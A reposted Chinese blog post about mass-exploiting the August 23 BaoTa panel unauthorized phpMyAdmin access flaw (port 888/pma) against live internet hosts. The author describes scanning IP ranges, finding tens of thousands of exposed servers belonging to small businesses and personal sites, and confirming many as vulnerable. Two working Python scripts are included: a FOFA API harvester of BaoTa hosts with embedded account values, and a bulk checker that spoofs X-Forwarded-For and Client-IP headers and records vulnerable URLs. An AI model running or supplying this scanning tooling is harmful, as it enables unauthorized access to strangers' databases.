8.23寶塔面板數據庫未授權訪問漏洞


昨天晚上大概六七點種群里爆出來的消息,,從fofa上面找了幾個都不行,以為是假的,,就沒太在意,后來不少群友都復現成功,(他們從shodan上面,成功率非常高),遂引起重視

眾所周知,騰訊雲一直和寶塔面板很配,並且像寶塔面板這種知名度還可以的網站搭建平台,應該會造成比較大的影響,於是開始了挖洞之旅;

最開始的思路是fofa加py腳本,從fofa官方給的api上面直接獲取裝了寶塔面板的url(腳本在文章末尾會上傳,需要fofa的會員),但是發現漏洞的復現成功率很低,很多404(這里確實佩服寶塔工作人員的提醒漏洞修補效率,聽說還特地給用戶發了短信,算是保住了名譽,國民的網絡安全意識也算有所提高),並且fofa上面獲取的url太少,每次只能獲取100條,遂和群里的前輩大佬貓叔請教,給出了先用SYN掃描器(這里舉例:比如說TCP  port scann好像是叫這個名字 還有就是 xdedic ip scan 這個或者 zmap 也可以,不過最好不要用 namp ,不是不行,nmap很優秀,只是這里不適用 )掃IP段開發888端口的主機,然后再寫個py腳本拼接IP:888/pma,再請求,如果返回狀態碼 200 則極大可能存在漏洞。這個思路效率比較高,大概七個小時左右,端口掃描器沒掃完,掃出來七萬多開放888端口的漏洞,然后再放在腳本里篩選下,出來很多很多成功的,不過大多都是些小站,個人博客,個人商城,小公司,游戲平台,視頻平台等等,,沒咋看,,之后就沒啥意思了。這里記錄下學習到的知識和欠缺待學習的知識。

 

學習到的知識:

①主要是挖洞的思路,端口型漏洞,直接用端口掃描器掃IP段就行

②有時候刷漏洞倒沒什么意思,學不到什么實在的知識

欠缺的部分:

①這次挖洞,深切感知到知識儲備的重要,第一時間知道漏洞之后,直接py寫腳本批量跑,學好python確實很重要,以后還需要多加強

②在將IP解析為域名的時候,需要自己寫個爬蟲,這倒不難,難得爬下來的東西需要正則匹配獲取內容,正則我一直使用的不是很熟練,不過最近很多方面都應用到了,所以一定要強化正則匹配

③有時間還得向前輩請教請教如何批量IP反查域名,不知道是不是我這么用爬蟲requests拼接請求,正則匹配獲取域名

 

記錄一些不錯的通過IP反查域名的網站:

https://site.ip138.com/                          很好用的IP反查域名網站,網上不少網站根本查不出來,就是個幌子

http://stool.chinaz.com/Same/              其次推薦站長之家,這個就不用說了

https://tools.ipip.net/ipdomain.php          這個網站也非常優秀,IP反查域名准確率高

 

附上fofa獲取網站搭建使用寶塔面板的網站腳本

import  requests
import json
class Client:
    def __init__(self):
        self.email = '    '
        self.key = '     '
        self.base_url = 'https://fofa.so'
        self.login_url = '/api/v1/info/my'
        self.search_url = '/api/v1/search/all'
        self.get_userinfo()

    def get_userinfo(self):
        api_full_url = '%s%s' % (self.base_url , self.login_url)
        param = {'email':'axom','key':'bbedf840c'}                        //這里得填 fofa  VIP 會員賬號的 郵箱 和  key 
        res = self.__http_get(api_full_url,param)
        # print(res.encoding)
        return res   #源代碼  return json.loads(res)

    def get_data(self,query_str,page=1,fields=""):
        res = self.get_json_data(query_str,page,fields)
        # print(res)
        return res  #源代碼 return json.loads(res)

    def get_json_data(self,query_str,page=1,fields=""):
        api_full_url = '%s%s' % (self.base_url,self.search_url)
        # print(api_full_url)
        param = {'email':self.email,'key':self.key,'qbase64':'5ZCO5Y+w55m75b2V','page':1,'fields':fields}        //這里沒改,應該把base64的值也改了
        res = self.__http_get(api_full_url,param)
        # print(res)
        return res

    def __http_get(self,url,param):
        url = '%s?%s' % (url,param)
       # print(url)
        try:
            res = requests.get(url,params=param)
            # print(res)
        except:
            print('出錯!!!')
        return res




#
# Client()
query_str = 'app=寶塔面板'            #在此處修改關鍵詞    同時還應修改所對應的base64的值!!!!
data = Client().get_data(query_str,page=2,fields="host")
a = data.text
# a.encode(encoding='utf-8')
# print(a)
a = json.loads(data.text)                   #返回的數據被默認轉換成了str格式,需要轉換為dict(字典)格式!!!
s = a['results']
for result in s:
    print("%s" % (result))
print(len(s))


#  by   simple
#新思路,通過namp或者其他類的端口掃描器批量掃描IP段,然后在寫個腳本訪問,看看域名是否存在
import  requests
import  random

def random_headers():#生成隨機headers
    user_agent = ['Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0',
                  'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0',
                  'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre',
                  'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60',
                  'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)',
                  'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14',
                  'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
                  'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)',
                  'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
                  'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5']
    UA = random.choice(user_agent)
    a = str(random.randint(1, 255))
    b = str(random.randint(1, 255))
    c = str(random.randint(1, 255))
    random_XFF = '127.' + a + '.' + b + '.' + c
    random_CI= '127.' + c + '.' + a + '.' + b
    headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'User-Agent': UA,
        'X-Forwarded-For': random_XFF,
        'Client-IP':random_CI,
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.8',
        "Referer": "http://www.baidu.com/",
        'Content-Type': 'application/x-www-form-urlencoded'}
    return headers


for line in open('cunhuoip.txt', 'r'):  # 打開文件
    rs = line.replace('\n', '')  # 替換換行符
    # print(rs)  # 顯示替換后的行
    # r.encoding = 'utf-8'
    rs = 'http://' + rs + ':888/pma'
    try :
        r = requests.get(url=rs, headers=random_headers(), timeout=5)
        if (r.status_code == 200):
          print(rs)
          file = open('result.txt', mode='w')
          file.write(rs)
          file.write('\n')  # 將回車寫入txt文件中
        else:
          print('not  okk ')
    except:
        print('error!!')

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM